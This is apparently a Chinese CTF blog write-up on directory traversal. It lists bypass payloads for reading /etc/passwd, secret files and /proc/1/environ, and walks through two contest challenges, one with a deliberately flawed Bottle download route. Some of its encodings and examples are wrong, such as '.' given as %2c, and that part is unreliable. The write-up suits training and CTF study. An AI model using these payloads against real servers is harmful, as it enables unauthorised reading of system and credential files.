目录穿越

写在前面

最近被各种各样的目录穿越恶心到了,所以写了这篇文章来总结一下目录穿越和遇到的题目

思路

构造:

正常 : /download?filename=../../../etcpasswd

双写绕../ : /download?filename=///////etc/passwd

URL编码(双重) : 
. => %2c
/ => %2f
% => %25 (双重URL编码)

收集的例题(遇到会继续写):

第二届“长城杯”铁人三项赛 (防护赛)初赛

alt text

发现 ../hackme.php

文件包含 ../hackme.php

但访问不到

有过滤 尝试绕过过滤

可以双写然后绕过过滤….//hackme.php

http://eci-2zef3sej7rworr0h35d8.cloudeci1.ichunqiu.com/index.php?file=....//hackme.php

XYCTF2025

源码:

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

读取部分的pyaload:

http://gz.imxbt.cn:20309/download?filename=./.././../secret.txt

写在后面

有时候不一定要硬着绕过,尝试别的办法,比如去读环境变量/proc/1/environ等